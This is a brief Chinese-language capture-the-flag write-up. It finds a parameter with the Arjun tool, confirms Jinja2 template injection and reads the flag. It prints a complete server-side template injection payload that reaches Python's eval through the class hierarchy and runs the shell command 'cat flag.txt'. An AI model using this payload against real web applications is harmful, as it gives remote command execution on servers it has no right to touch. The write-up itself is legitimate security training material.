场景
猜测是jinja2的模板注入,用Arjun工具爆破参数
下载地址
找到了参数name
传参?name={{7*'7'}}
,注入成功
这题没有过滤,直接用常规的注入语句即可
?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag.txt').read()") }}{% endif %}{% endfor %}
拿到flag